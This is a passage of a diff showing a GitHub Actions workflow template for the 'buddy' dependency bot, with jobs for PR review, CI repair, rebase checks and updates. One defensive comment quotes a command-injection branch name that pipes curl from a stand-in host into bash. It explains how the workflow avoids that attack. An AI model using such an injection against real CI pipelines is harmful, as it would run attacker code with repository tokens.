|
229
|
+
- patch
|
|
230
|
+
packages:
|
|
231
|
+
description: Specific packages (comma-separated)
|
|
232
|
+
required: false
|
|
233
|
+
type: string
|
|
234
|
+
# Dashboard job inputs
|
|
235
|
+
title:
|
|
236
|
+
description: Custom dashboard title
|
|
237
|
+
required: false
|
|
238
|
+
type: string
|
|
239
|
+
issue_number:
|
|
240
|
+
description: Specific issue number to update
|
|
241
|
+
required: false
|
|
242
|
+
type: string
|
|
243
|
+
# Read in three places by the dashboard job, but never declared here, so
|
|
244
|
+
# the \`|| 'true'\` fallback always won and the toggle was unreachable
|
|
245
|
+
# from the Actions UI. Declared as a boolean default-true to match that
|
|
246
|
+
# fallback: unchecking it now yields the string 'false', which is truthy
|
|
247
|
+
# to \`||\` and so survives to the step.
|
|
248
|
+
pin:
|
|
249
|
+
description: Pin the dashboard issue
|
|
250
|
+
required: false
|
|
251
|
+
default: true
|
|
252
|
+
type: boolean
|
|
253
|
+
# Common inputs
|
|
254
|
+
dry_run:
|
|
255
|
+
description: Dry run (preview only)
|
|
256
|
+
required: false
|
|
257
|
+
default: false
|
|
258
|
+
type: boolean
|
|
259
|
+
verbose:
|
|
260
|
+
description: Enable verbose logging
|
|
261
|
+
required: false
|
|
262
|
+
default: true
|
|
263
|
+
type: boolean
|
|
264
|
+
|
|
265
|
+
env:
|
|
266
|
+
# Use the built-in GITHUB_TOKEN for commits and PRs \u2014 contributions are attributed
|
|
267
|
+
# to github-actions[bot] instead of a personal account.
|
|
268
|
+
# BUDDY_TOKEN (a PAT with 'repo' and 'workflow' scopes) is used for
|
|
269
|
+
# workflow file updates, and to open the PR when the repository does not let
|
|
270
|
+
# GitHub Actions create pull requests. Create one at: https://github.com/settings/tokens
|
|
271
|
+
GITHUB_TOKEN: \${{ secrets.GITHUB_TOKEN }}
|
|
272
|
+
BUDDY_TOKEN: \${{ secrets.BUDDY_TOKEN }}
|
|
273
|
+
|
|
274
|
+
permissions:
|
|
275
|
+
contents: write
|
|
276
|
+
pull-requests: write
|
|
277
|
+
issues: write
|
|
278
|
+
actions: write
|
|
279
|
+
checks: read
|
|
280
|
+
statuses: read
|
|
281
|
+
|
|
282
|
+
# Serialize runs per ref so parallel scheduled + manual triggers don't race
|
|
283
|
+
# on the same branches/PRs. cancel-in-progress: false lets the currently
|
|
284
|
+
# running job finish cleanly instead of being killed mid-commit.
|
|
285
|
+
concurrency:
|
|
286
|
+
group: buddy-\${{ github.ref }}
|
|
287
|
+
cancel-in-progress: false
|
|
288
|
+
|
|
289
|
+
jobs:
|
|
290
|
+
# Job to determine which jobs should run based on trigger
|
|
291
|
+
determine-jobs:
|
|
292
|
+
runs-on: ubuntu-latest
|
|
293
|
+
timeout-minutes: 5
|
|
294
|
+
outputs:
|
|
295
|
+
run_check: \${{ steps.determine.outputs.run_check }}
|
|
296
|
+
run_update: \${{ steps.determine.outputs.run_update }}
|
|
297
|
+
run_dashboard: \${{ steps.determine.outputs.run_dashboard }}
|
|
298
|
+
run_command: \${{ steps.determine.outputs.run_command }}
|
|
299
|
+
run_review: \${{ steps.determine.outputs.run_review }}
|
|
300
|
+
run_fixci: \${{ steps.determine.outputs.run_fixci }}
|
|
301
|
+
run_report: \${{ steps.determine.outputs.run_report }}
|
|
302
|
+
run_any: \${{ steps.determine.outputs.run_any }}
|
|
303
|
+
update_strategy: \${{ steps.determine.outputs.update_strategy }}
|
|
304
|
+
steps:
|
|
305
|
+
- name: Determine which jobs to run
|
|
306
|
+
id: determine
|
|
307
|
+
# A PR branch name is attacker-chosen text. Interpolated straight into
|
|
308
|
+
# the script below, a branch called \`x";curl evil.sh|bash;"\` executed
|
|
309
|
+
# in the runner \u2014 and this workflow carries BUDDY_TOKEN (a PAT with
|
|
310
|
+
# repo and workflow scopes) in its environment, which a same-repo PR
|
|
311
|
+
# does receive. Passing these through \`env\` keeps them as shell values
|
|
312
|
+
# that are never parsed as script.
|
|
313
|
+
env:
|
|
314
|
+
PR_ACTOR: \${{ github.actor }}
|
|
315
|
+
PR_BRANCH: \${{ github.event.pull_request.head.ref }}
|
|
316
|
+
ISSUE_TITLE: \${{ github.event.issue.title }}
|
|
317
|
+
COMMENT_BODY: \${{ github.event.comment.body }}
|
|
318
|
+
run: |
|
|
319
|
+
# Default to not running any jobs
|
|
320
|
+
echo "run_check=false" >> $GITHUB_OUTPUT
|
|
321
|
+
echo "run_update=false" >> $GITHUB_OUTPUT
|
|
322
|
+
echo "run_dashboard=false" >> $GITHUB_OUTPUT
|
|
323
|
+
echo "run_command=false" >> $GITHUB_OUTPUT
|
|
324
|
+
echo "run_review=false" >> $GITHUB_OUTPUT
|
|
325
|
+
echo "run_fixci=false" >> $GITHUB_OUTPUT
|
|
326
|
+
echo "run_report=false" >> $GITHUB_OUTPUT
|
|
327
|
+
|
|
328
|
+
if [ "\${{ github.event_name }}" = "pull_request" ] && [ "\${{ github.event.action }}" != "edited" ]; then
|
|
329
|
+
# Opened, marked ready, or pushed to \u2014 review it. Draft handling and
|
|
330
|
+
# title/author filters live in config, which the review command reads.
|
|
331
|
+
if [ "\${{ github.event.pull_request.draft }}" = "true" ]; then
|
|
332
|
+
echo "\u2139\uFE0F Draft pull request \u2014 skipping review"
|
|
333
|
+
else
|
|
334
|
+
echo "run_review=true" >> $GITHUB_OUTPUT
|
|
335
|
+
echo "\u2139\uFE0F Pull request \${{ github.event.action }} \u2014 reviewing"
|
|
336
|
+
fi
|
|
337
|
+
elif [ "\${{ github.event_name }}" = "pull_request" ]; then
|
|
338
|
+
# PR body was edited \u2014 check if it's a buddy PR with rebase checkbox
|
|
339
|
+
# Only run the check job (lightweight: just scans for the checkbox and rebases)
|
|
340
|
+
ACTOR="$PR_ACTOR"
|
|
341
|
+
BRANCH="$PR_BRANCH"
|
|
342
|
+
|
|
343
|
+
# Skip if the edit was made by a bot (prevents cascade loops where
|
|
344
|
+
# buddy updates a PR body \u2192 fires edited event \u2192 re-triggers workflow)
|
|
345
|
+
if [[ "$ACTOR" == *"[bot]"* ]] || [[ "$ACTOR" == "github-actions[bot]" ]] || [[ "$ACTOR" == "buddy" ]]; then
|
|
346
|
+
echo "\u2139\uFE0F Skipping \u2014 PR edit was made by bot actor: $ACTOR"
|
|
347
|
+
elif [[ "$BRANCH" == buddy/* ]]; then
|
|
348
|
+
echo "run_check=true" >> $GITHUB_OUTPUT
|
|
349
|
+
echo "\u2139\uFE0F buddy PR edited by user \u2014 running rebase check for branch: $BRANCH"
|
|
350
|
+
else
|
|
351
|
+
echo "\u2139\uFE0F Non-buddy PR edited \u2014 skipping (branch: $BRANCH)"
|
|
352
|
+
fi
|
|
353
|
+
elif [ "\${{ github.event_name }}" = "issues" ]; then
|
|
354
|
+
# Dashboard issue edited \u2014 a maintainer may have ticked a rebase or
|
|
355
|
+
# manual-run checkbox. The check job reads them and unticks them.
|
|
356
|
+
ACTOR="$PR_ACTOR"
|
|
357
|
+
TITLE="$ISSUE_TITLE"
|
|
358
|
+
|
|
359
|
+
# The bot unticks handled boxes, which edits the issue. Without this
|
|
360
|
+
# guard that edit would re-trigger the workflow in a loop.
|
|
361
|
+
if [[ "$ACTOR" == *"[bot]"* ]] || [[ "$ACTOR" == "github-actions[bot]" ]] || [[ "$ACTOR" == "buddy" ]]; then
|
|
362
|
+
echo "\u2139\uFE0F Skipping \u2014 issue edit was made by bot actor: $ACTOR"
|
|
363
|
+
elif [[ "$TITLE" == *"Dependency Dashboard"* ]]; then
|
|
364
|
+
echo "run_check=true" >> $GITHUB_OUTPUT
|
|
365
|
+
echo "\u2139\uFE0F Dashboard edited by user \u2014 running checkbox check"
|
|
366
|
+
else
|
|
367
|
+
echo "\u2139\uFE0F Non-dashboard issue edited \u2014 skipping (title: $TITLE)"
|
|
368
|
+
fi
|
|
369
|
+
elif [ "\${{ github.event_name }}" = "workflow_run" ]; then
|
|
370
|
+
# Only act on our own failing runs; a green run has nothing to fix.
|
|
371
|
+
if [ "\${{ github.event.workflow_run.conclusion }}" != "failure" ]; then
|
|
372
|
+
echo "\u2139\uFE0F Run did not fail \u2014 nothing to fix"
|
|
373
|
+
elif [[ "\${{ github.event.workflow_run.head_branch }}" == buddy/* ]]; then
|
|
374
|
+
echo "run_fixci=true" >> $GITHUB_OUTPUT
|
|
375
|
+
echo "\u2139\uFE0F Failing run on a buddy branch \u2014 attempting a fix"
|
|
376
|
+
else
|
|
377
|
+
echo "\u2139\uFE0F Failing run on a non-buddy branch \u2014 skipping"
|
|
378
|
+
fi
|
|
379
|
+
elif [ "\${{ github.event_name }}" = "issue_comment" ] || [ "\${{ github.event_name }}" = "pull_request_review_comment" ]; then
|
|
380
|
+
# Cheap pre-filter: no mention, no work. This is the guard that
|
|
381
|
+
# keeps ordinary discussion from spending Actions minutes.
|
|
382
|
+
ACTOR="$PR_ACTOR"
|
|
383
|
+
BODY="$COMMENT_BODY"
|
|
384
|
+
|
|
385
|
+
if [[ "$ACTOR" == *"[bot]"* ]] || [[ "$ACTOR" == "github-actions[bot]" ]]; then
|
|
386
|
+
echo "\u2139\uFE0F Skipping \u2014 comment written by bot actor: $ACTOR"
|
|
387
|
+
elif [[ "$BODY" == *"@buddy"* ]]; then
|
|
388
|
+
echo "run_command=true" >> $GITHUB_OUTPUT
|
|
389
|
+
echo "\u2139\uFE0F Comment mentions buddy \u2014 handling command"
|
|
390
|
+
else
|
|
391
|
+
echo "\u2139\uFE0F Comment does not mention buddy \u2014 skipping"
|
|
392
|
+
fi
|
|
393
|
+
elif [ "\${{ github.event_name }}" = "workflow_dispatch" ]; then
|
|
394
|
+
JOB="\${{ github.event.inputs.job || 'all' }}"
|
|
395
|
+
if [ "$JOB" = "all" ] || [ "$JOB" = "check" ]; then
|
|
396
|
+
echo "run_check=true" >> $GITHUB_OUTPUT
|
|
397
|
+
fi
|
|
398
|
+
if [ "$JOB" = "all" ] || [ "$JOB" = "update" ]; then
|
|
399
|
+
echo "run_update=true" >> $GITHUB_OUTPUT
|
|
400
|
+
fi
|
|
401
|
+
if [ "$JOB" = "all" ] || [ "$JOB" = "dashboard" ]; then
|
|
402
|
+
echo "run_dashboard=true" >> $GITHUB_OUTPUT
|
|
403
|
+
fi
|
|
404
|
+
elif [ "\${{ github.event_name }}" = "schedule" ]; then
|
|
405
|
+
# Determine based on cron schedule
|
|
406
|
+
${T$(Z)}
|
|
407
|
+
fi
|
|
408
|
+
|
|
409
|
+
# Every job below needs \`setup\`, and a job whose \`needs\` was skipped
|
|
410
|
+
# is skipped with it \u2014 so \`setup\` has to run whenever anything does.
|
|
411
|
+
# Derived from what was just written rather than restated, because
|
|
412
|
+
# restating it is how review, command and fix-ci came to be
|
|
413
|
+
# unreachable: each was added with its own output and nobody added it
|
|
414
|
+
# to setup's condition.
|
|
415
|
+
if grep -q '=true$' "$GITHUB_OUTPUT"; then
|
|
416
|
+
echo "run_any=true" >> $GITHUB_OUTPUT
|
|
417
|
+
else
|
|
418
|
+
echo "run_any=false" >> $GITHUB_OUTPUT
|
|
419
|
+
fi
|
|
420
|
+
|
|
421
|
+
# Shared setup job for common dependencies
|
|
422
|
+
setup:
|
|
423
|
+
runs-on: ubuntu-latest
|
|
424
|
+
timeout-minutes: 10
|
|
425
|
+
needs: determine-jobs
|
|
426
|
+
# \`gate\`, \`touch\`, \`post-merge\` and \`issue-links\` gate on \`github.event_name\`
|
|
427
|
+
# rather than on an output, so those two events are named here instead of
|
|
428
|
+
# having their conditions restated a second time and left to drift.
|
|
429
|
+
if: \${{ needs.determine-jobs.outputs.run_any == 'true' || github.event_name == 'pull_request' || github.event_name == 'issues' }}
|
|
430
|
+
steps:
|
|
431
|
+
- name: Checkout repository
|
|
432
|
+
uses: actions/checkout@v4
|
|
433
|
+
with:
|
|
434
|
+
token: \${{ secrets.GITHUB_TOKEN }}
|
|
435
|
+
fetch-depth: 0 # Fetch full history for rebasing
|
|
436
|
+
persist-credentials: true
|
|
437
|
+
|
|
438
|
+
- name: Setup Bun
|
|
439
|
+
uses: oven-sh/setup-bun@v2
|
|
440
|
+
${_0()}
|
|
441
|
+
- name: Install dependencies
|
|
442
|
+
run: bun install
|
|
443
|
+
|
|
444
|
+
- name: Configure Git
|
|
445
|
+
run: |
|
|
446
|
+
git config --global user.name "github-actions[bot]"
|
|
447
|
+
git config --global user.email "github-actions[bot]@users.noreply.github.com"
|
|
448
|
+
|
|
449
|
+
# Handle an @buddy command from a comment
|
|
450
|
+
command:
|
|
451
|
+
runs-on: ubuntu-latest
|
|
452
|
+
timeout-minutes: 20
|
|
453
|
+
needs: [determine-jobs, setup]
|
|
454
|
+
if: \${{ needs.determine-jobs.outputs.run_command == 'true' }}
|
|
455
|
+
|
|
456
|
+
steps:
|
|
457
|
+
- name: Checkout repository
|
|
458
|
+
uses: actions/checkout@v4
|
|
459
|
+
with:
|
|
460
|
+
token: \${{ secrets.GITHUB_TOKEN }}
|
|
461
|
+
fetch-depth: 0
|
|
462
|
+
|
|
463
|
+
- name: Setup Bun
|
|
464
|
+
uses: oven-sh/setup-bun@v2
|
|
465
|
+
|
|
466
|
+
- name: Install dependencies
|
|
467
|
+
run: bun install
|
|
468
|
+
|
|
469
|
+
- name: Handle command
|
|
470
|
+
run: bunx @buddysh/buddy handle-comment --verbose
|
|
471
|
+
env:
|
|
472
|
+
GITHUB_TOKEN: \${{ secrets.GITHUB_TOKEN }}
|
|
473
|
+
ANTHROPIC_API_KEY: \${{ secrets.ANTHROPIC_API_KEY }}
|
|
474
|
+
OPENAI_API_KEY: \${{ secrets.OPENAI_API_KEY }}
|
|
475
|
+
GOOGLE_API_KEY: \${{ secrets.GOOGLE_API_KEY }}
|
|
476
|
+
OPENROUTER_API_KEY: \${{ secrets.OPENROUTER_API_KEY }}
|
|
477
|
+
|
|
478
|
+
# Pre-merge gates. Publishes a check run, so branch protection can require it.
|
|
479
|
+
gate:
|
|
480
|
+
runs-on: ubuntu-latest
|
|
481
|
+
timeout-minutes: 15
|
|
482
|
+
needs: [determine-jobs, setup]
|
|
483
|
+
if: \${{ github.event_name == 'pull_request' && github.event.action != 'closed' }}
|
|
484
|
+
permissions:
|
|
485
|
+
contents: read
|
|
486
|
+
pull-requests: read
|
|
487
|
+
checks: write
|
|
488
|
+
|
|
489
|
+
steps:
|
|
490
|
+
- name: Checkout repository
|
|
491
|
+
uses: actions/checkout@v4
|
|
492
|
+
|
|
493
|
+
- name: Setup Bun
|
|
494
|
+
uses: oven-sh/setup-bun@v2
|
|
495
|
+
|
|
496
|
+
- name: Install dependencies
|
|
497
|
+
run: bun install
|
|
498
|
+
|
|
499
|
+
- name: Run gates
|
|
500
|
+
run: bunx @buddysh/buddy gate \${{ github.event.pull_request.number }} --verbose
|
|
501
|
+
|
|
502
|
+
# Finishing touches, when a maintainer ticks one on a pull request.
|
|
503
|
+
touch:
|
|
504
|
+
runs-on: ubuntu-latest
|
|
505
|
+
timeout-minutes: 30
|
|
506
|
+
needs: [determine-jobs, setup]
|
|
507
|
+
# Two moments, not one: the offer has to be posted before there is a box to
|
|
508
|
+
# tick, and \`edited\` is when a tick arrives. Offering only on \`edited\`
|
|
509
|
+
# would mean the checkboxes never appeared at all.
|
|
510
|
+
if: \${{ github.event_name == 'pull_request' && (github.event.action == 'edited' || github.event.action == 'opened' || github.event.action == 'ready_for_review') }}
|
|
511
|
+
|
|
512
|
+
steps:
|
|
513
|
+
- name: Checkout repository
|
|
514
|
+
uses: actions/checkout@v4
|
|
515
|
+
with:
|
|
516
|
+
ref: \${{ github.event.pull_request.head.ref }}
|
|
517
|
+
fetch-depth: 0
|
|
518
|
+
|
|
519
|
+
- name: Setup Bun
|
|
520
|
+
uses: oven-sh/setup-bun@v2
|
|
521
|
+
|
|
522
|
+
- name: Install dependencies
|
|
523
|
+
run: bun install
|
|
524
|
+
|
|
525
|
+
# Idempotent: a body that already carries the offer is left alone, so a
|
|
526
|
+
# pull request opened as a draft and later marked ready is not offered
|
|
527
|
+
# a second set of boxes that tick independently of the first.
|
|
528
|
+
- name: Offer finishing touches
|
|
529
|
+
if: \${{ github.event.action != 'edited' }}
|
|
530
|
+
run: bunx @buddysh/buddy touch \${{ github.event.pull_request.number }} --offer --verbose
|
|
531
|
+
|
|
532
|
+
- name: Run finishing touches
|
|
533
|
+
if: \${{ github.event.action == 'edited' }}
|
|
534
|
+
run: bunx @buddysh/buddy touch \${{ github.event.pull_request.number }} --verbose
|
|
535
|
+
|
|
536
|
+
# Post-merge actions. Guarded on the merged flag, because the closed action
|
|
537
|
+
# also fires for a pull request somebody abandoned.
|
|
538
|
+
post-merge:
|
|
539
|
+
runs-on: ubuntu-latest
|
|
540
|
+
timeout-minutes: 15
|
|
541
|
+
needs: [determine-jobs, setup]
|
|
542
|
+
if: \${{ github.event_name == 'pull_request' && github.event.action == 'closed' && github.event.pull_request.merged == true }}
|
|
543
|
+
|
|
544
|
+
steps:
|
|
545
|
+
- name: Checkout repository
|
|
546
|
+
uses: actions/checkout@v4
|
|
547
|
+
with:
|
|
548
|
+
fetch-depth: 0
|
|
549
|
+
|
|
550
|
+
- name: Setup Bun
|
|
551
|
+
uses: oven-sh/setup-bun@v2
|
|
552
|
+
|
|
553
|
+
- name: Install dependencies
|
|
554
|
+
run: bun install
|
|
555
|
+
|
|
556
|
+
- name: Run post-merge actions
|
|
557
|
+
run: bunx @buddysh/buddy post-merge \${{ github.event.pull_request.number }} --verbose
|
|
558
|
+
|
|
559
|
+
# Quick-links on a new issue, and the actions a maintainer ticks there.
|
|
560
|
+
issue-links:
|
|
561
|
+
runs-on: ubuntu-latest
|
|
562
|
+
timeout-minutes: 20
|
|
563
|
+
needs: [determine-jobs, setup]
|
|
564
|
+
if: \${{ github.event_name == 'issues' }}
|
|
565
|
+
|
|
566
|
+
steps:
|
|
567
|
+
- name: Checkout repository
|
|
568
|
+
uses: actions/checkout@v4
|
|
569
|
+
|
|
570
|
+
- name: Setup Bun
|
|
571
|
+
uses: oven-sh/setup-bun@v2
|
|
572
|
+
|
|
573
|
+
- name: Install dependencies
|
|
574
|
+
run: bun install
|
|
575
|
+
|
|
576
|
+
- name: Handle issue
|
|
577
|
+
run: bunx @buddysh/buddy handle-issue --verbose
|
|
578
|
+
|
|
579
|
+
# Weekly dependency-health report.
|
|
580
|
+
report:
|
|
581
|
+
runs-on: ubuntu-latest
|
|
582
|
+
timeout-minutes: 20
|
|
583
|
+
needs: [determine-jobs, setup]
|
|
584
|
+
if: \${{ needs.determine-jobs.outputs.run_report == 'true' }}
|
|
585
|
+
|
|
586
|
+
steps:
|
|
587
|
+
- name: Checkout repository
|
|
588
|
+
uses: actions/checkout@v4
|
|
589
|
+
with:
|
|
590
|
+
fetch-depth: 0
|
|
591
|
+
|
|
592
|
+
- name: Setup Bun
|
|
593
|
+
uses: oven-sh/setup-bun@v2
|
|
594
|
+
|
|
595
|
+
- name: Install dependencies
|
|
596
|
+
run: bun install
|
|
597
|
+
|
|
598
|
+
- name: Generate report
|
|
599
|
+
# --scheduled is what makes reports.enabled mean anything: the cron
|
|
600
|
+
# cannot read the config, so the command has to know this run came
|
|
601
|
+
# from it rather than from a person who has already decided.
|
|
602
|
+
run: bunx @buddysh/buddy report --publish --scheduled --verbose
|
|
603
|
+
|
|
604
|
+
# Review a pull request on open, ready-for-review, or push
|
|
605
|
+
review:
|
|
606
|
+
runs-on: ubuntu-latest
|
|
607
|
+
timeout-minutes: 20
|
|
608
|
+
needs: [determine-jobs, setup]
|
|
609
|
+
if: \${{ needs.determine-jobs.outputs.run_review == 'true' }}
|
|
610
|
+
|
|
611
|
+
steps:
|
|
612
|
+
- name: Checkout repository
|
|
613
|
+
uses: actions/checkout@v4
|
|
614
|
+
with:
|
|
615
|
+
token: \${{ secrets.GITHUB_TOKEN }}
|
|
616
|
+
fetch-depth: 0
|
|
617
|
+
|
|
618
|
+
- name: Setup Bun
|
|
619
|
+
uses: oven-sh/setup-bun@v2
|
|
620
|
+
|
|
621
|
+
- name: Install dependencies
|
|
622
|
+
run: bun install
|
|
623
|
+
|
|
624
|
+
# --auto honours the ai.review filters: enabled, autoReview, drafts,
|
|
625
|
+
# ignoreTitleKeywords and ignoreUsernames. Adding the trigger therefore
|
|
626
|
+
# does not turn reviews on by itself, and a draft or WIP pull request
|
|
627
|
+
# costs one API call rather than a full review.
|
|
628
|
+
- name: Review pull request
|
|
629
|
+
run: bunx @buddysh/buddy review \${{ github.event.pull_request.number }} --auto --verbose
|
|
630
|
+
env:
|
|
631
|
+
GITHUB_TOKEN: \${{ secrets.GITHUB_TOKEN }}
|
|
632
|
+
ANTHROPIC_API_KEY: \${{ secrets.ANTHROPIC_API_KEY }}
|
|
633
|
+
OPENAI_API_KEY: \${{ secrets.OPENAI_API_KEY }}
|
|
634
|
+
GOOGLE_API_KEY: \${{ secrets.GOOGLE_API_KEY }}
|
|
635
|
+
OPENROUTER_API_KEY: \${{ secrets.OPENROUTER_API_KEY }}
|
|
636
|
+
|
|
637
|
+
# Diagnose and repair a failing run on a buddy branch
|
|
638
|
+
fix-ci:
|
|
639
|
+
runs-on: ubuntu-latest
|
|
640
|
+
timeout-minutes: 30
|
|
641
|
+
needs: [determine-jobs, setup]
|
|
642
|
+
if: \${{ needs.determine-jobs.outputs.run_fixci == 'true' }}
|
|
643
|
+
|
|
644
|
+
steps:
|
|
645
|
+
# GITHUB_TOKEN deliberately, not BUDDY_TOKEN: it keeps the repair commit
|
|
646
|
+
# attributed to the bot rather than to whoever owns the PAT. The trade is
|
|
647
|
+
# that a push made with it does not start another workflow run, so the
|
|
648
|
+
# fix lands and the checks need re-running to go green.
|
|
649
|
+
- name: Checkout the failing branch
|
|
650
|
+
uses: actions/checkout@v4
|
|
651
|
+
with:
|
|
652
|
+
ref: \${{ github.event.workflow_run.head_branch }}
|
|
653
|
+
token: \${{ secrets.GITHUB_TOKEN }}
|
|
654
|
+
fetch-depth: 0
|
|
655
|
+
persist-credentials: true
|
|
656
|
+
|
|
657
|
+
- name: Setup Bun
|
|
658
|
+
uses: oven-sh/setup-bun@v2
|
|
659
|
+
|
|
660
|
+
- name: Install dependencies
|
|
661
|
+
run: bun install
|
|
662
|
+
|
|
663
|
+
# --pr is what carries the diagnosis back to the pull request, and it is
|
|
664
|
+
# also where the attempt counter lives: without it the anti-loop guard
|
|
665
|
+
# has nothing to read and every failure looks like the first one.
|
|
666
|
+
# A run triggered from a fork has no entry here, and the step is skipped.
|
|
667
|
+
- name: Attempt a fix
|
|
668
|
+
if: \${{ github.event.workflow_run.pull_requests[0] }}
|
|
669
|
+
run: bunx @buddysh/buddy fix-ci --run-id \${{ github.event.workflow_run.id }} --pr \${{ github.event.workflow_run.pull_requests[0].number }} --verbose
|
|
670
|
+
env:
|
|
671
|
+
GITHUB_TOKEN: \${{ secrets.GITHUB_TOKEN }}
|
|
672
|
+
ANTHROPIC_API_KEY: \${{ secrets.ANTHROPIC_API_KEY }}
|
|
673
|
+
OPENAI_API_KEY: \${{ secrets.OPENAI_API_KEY }}
|
|
674
|
+
GOOGLE_API_KEY: \${{ secrets.GOOGLE_API_KEY }}
|
|
675
|
+
OPENROUTER_API_KEY: \${{ secrets.OPENROUTER_API_KEY }}
|
|
676
|
+
|
|
677
|
+
# Check job (handles both rebase requests and auto-closing PRs)
|
|
678
|
+
check:
|
|
679
|
+
runs-on: ubuntu-latest
|
|
680
|
+
timeout-minutes: 30
|
|
681
|
+
needs: [determine-jobs, setup]
|
|
682
|
+
if: \${{ needs.determine-jobs.outputs.run_check == 'true' }}
|
|
683
|
+
|
|
684
|
+
steps:
|
|
685
|
+
- name: Checkout repository
|
|
686
|
+
uses: actions/checkout@v4
|
|
687
|
+
with:
|
|
688
|
+
token: \${{ secrets.GITHUB_TOKEN }}
|
|
689
|
+
fetch-depth: 0
|
|
690
|
+
persist-credentials: true
|
|
691
|
+
|
|
692
|
+
- name: Setup Bun
|
|
693
|
+
uses: oven-sh/setup-bun@v2
|
|
694
|
+
|
|
695
|
+
- name: Install dependencies
|
|
696
|
+
run: bun install
|
|
697
|
+
|
|
698
|
+
- name: Configure Git
|
|
699
|
+
run: |
|
|
700
|
+
git config --global user.name "github-actions[bot]"
|
|
701
|
+
git config --global user.email "github-actions[bot]@users.noreply.github.com"
|
|
702
|
+
|
|
703
|
+
- name: Check token permissions
|
|
704
|
+
run: |
|
|
705
|
+
if [ -z "\${{ secrets.BUDDY_TOKEN }}" ]; then
|
|
706
|
+
echo "\u26A0\uFE0F Using GITHUB_TOKEN (limited permissions)"
|
|
707
|
+
echo "\uD83D\uDCA1 For full workflow file update support:"
|
|
708
|
+
echo " 1. Create a Personal Access Token with 'repo' and 'workflow' scopes"
|
|
709
|
+
echo " 2. Add it as repository secret 'BUDDY_TOKEN'"
|
|
710
|
+
echo " 3. Re-run this workflow"
|
|
711
|
+
else
|
|
712
|
+
echo "\u2705 Using BUDDY_TOKEN (full permissions)"
|
|
713
|
+
fi
|
|
714
|
+
|
|
715
|
+
- name: Check for PRs that need attention
|
|
716
|
+
run: |
|
|
717
|
+
echo "\uD83D\uDD0D Checking for PRs that need attention (rebase requests or auto-closing)..."
|
|
718
|
+
echo "\uD83D\uDD27 Environment info:"
|
|
719
|
+
echo "Current directory: $(pwd)"
|
|
720
|
+
echo "GITHUB_TOKEN set: $([[ -n "$GITHUB_TOKEN" ]] && echo "Yes" || echo "No")"
|
|
721
|
+
echo "Repository: \${{ github.repository }}"
|
|
722
|
+
echo "Event: \${{ github.event_name }}"
|
|
723
|
+
echo ""
|
|
724
|
+
|
|
725
|
+
echo "\uD83D\uDE80 Running update-check command..."
|
|
726
|
+
set -e # Exit on any error
|
|
727
|
+
|
|
728
|
+
if [ "\${{ github.event.inputs.dry_run }}" = "true" ]; then
|
|
729
|
+
echo "\uD83D\uDCCB Running in DRY RUN mode..."
|
|
730
|
+
bunx @buddysh/buddy update-check --dry-run --verbose
|
|
731
|
+
else
|
|
732
|
+
echo "\uD83D\uDD04 Running in LIVE mode..."
|
|
733
|
+
bunx @buddysh/buddy update-check --verbose
|
|
734
|
+
fi
|
|
735
|
+
|
|
736
|
+
env:
|
|
737
|
+
GITHUB_TOKEN: \${{ secrets.GITHUB_TOKEN }}
|
|
738
|
+
BUDDY_TOKEN: \${{ secrets.BUDDY_TOKEN }}
|
|
739
|
+
|
|
740
|
+
- name: Create check summary
|
|
741
|
+
if: always()
|
|
742
|
+
run: |
|
|
743
|
+
echo "## \uD83D\uDD0D Check Summary" >> $GITHUB_STEP_SUMMARY
|
|
744
|
+
echo "" >> $GITHUB_STEP_SUMMARY
|
|
745
|
+
echo "- **Triggered by**: \${{ github.event_name }}" >> $GITHUB_STEP_SUMMARY
|
|
746
|
+
echo "- **Dry run**: \${{ github.event.inputs.dry_run || 'false' }}" >> $GITHUB_STEP_SUMMARY
|
|
747
|
+
echo "- **Time**: $(date)" >> $GITHUB_STEP_SUMMARY
|
|
748
|
+
echo "" >> $GITHUB_STEP_SUMMARY
|
|
749
|
+
|
|
750
|
+
if [ "\${{ github.event_name }}" = "schedule" ]; then
|
|
751
|
+
echo "\u23F0 **Scheduled Check**: Daily cleanup tick \u2014 rebase requests are handled on PR edit, in real time" >> $GITHUB_STEP_SUMMARY
|
|
752
|
+
else
|
|
753
|
+
echo "\uD83D\uDDB1\uFE0F **Manual Check**: Manually triggered from Actions tab" >> $GITHUB_STEP_SUMMARY
|
|
754
|
+
fi
|
|
755
|
+
|
|
756
|
+
echo "" >> $GITHUB_STEP_SUMMARY
|
|
757
|
+
echo "\uD83D\uDCCB View detailed logs above for check results (rebase requests, auto-closing, and branch cleanup)." >> $GITHUB_STEP_SUMMARY
|
|
758
|
+
|
|
759
|
+
# Dependency update job
|
|
760
|
+
dependency-update:
|
|
761
|
+
runs-on: ubuntu-latest
|
|
762
|
+
timeout-minutes: 30
|
|
763
|
+
needs: [determine-jobs, setup]
|
|
764
|
+
if: \${{ needs.determine-jobs.outputs.run_update == 'true' }}
|
|
765
|
+
|
|
766
|
+
steps:
|
|
767
|
+
- name: Checkout repository
|
|
768
|
+
uses: actions/checkout@v4
|
|
769
|
+
with:
|
|
770
|
+
token: \${{ secrets.GITHUB_TOKEN }}
|
|
771
|
+
fetch-depth: 0
|
|
772
|
+
persist-credentials: true
|
|
773
|
+
|
|
774
|
+
- name: Setup Bun
|
|
775
|
+
uses: oven-sh/setup-bun@v2
|
|
776
|
+
${_0()}
|
|
777
|
+
- name: Install dependencies
|
|
778
|
+
run: bun install
|
|
779
|
+
|
|
780
|
+
- name: Configure Git
|
|
781
|
+
run: |
|
|
782
|
+
git config --global user.name "github-actions[bot]"
|
|
783
|
+
git config --global user.email "github-actions[bot]@users.noreply.github.com"
|
|
784
|
+
|
|
785
|
+
- name: Display update configuration
|
|
786
|
+
run: |
|
|
787
|
+
echo "\uD83E\uDDEA **Buddy Update Mode**"
|
|
788
|
+
echo "Strategy: \${{ github.event.inputs.strategy || needs.determine-jobs.outputs.update_strategy || '${Q.strategy}' }}"
|
|
789
|
+
echo "Dry Run: \${{ github.event.inputs.dry_run || 'false' }}"
|
|
790
|
+
echo "Packages: \${{ github.event.inputs.packages || 'all' }}"
|
|
791
|
+
echo "Verbose: \${{ github.event.inputs.verbose || 'true' }}"
|
|
792
|
+
echo "Triggered by: \${{ github.event_name }}"
|
|
793
|
+
echo "Repository: \${{ github.repository }}"
|
|
794
|
+
echo "Branch: \${{ github.ref_name }}"
|
|
795
|
+
|
|
796
|
+
- name: Run Buddy dependency updates
|
|
797
|
+
if: \${{ github.event.inputs.dry_run != 'true' }}
|
|
798
|
+
run: |
|
|
799
|
+
STRATEGY="\${{ github.event.inputs.strategy || needs.determine-jobs.outputs.update_strategy || '${Q.strategy}' }}"
|
|
800
|
+
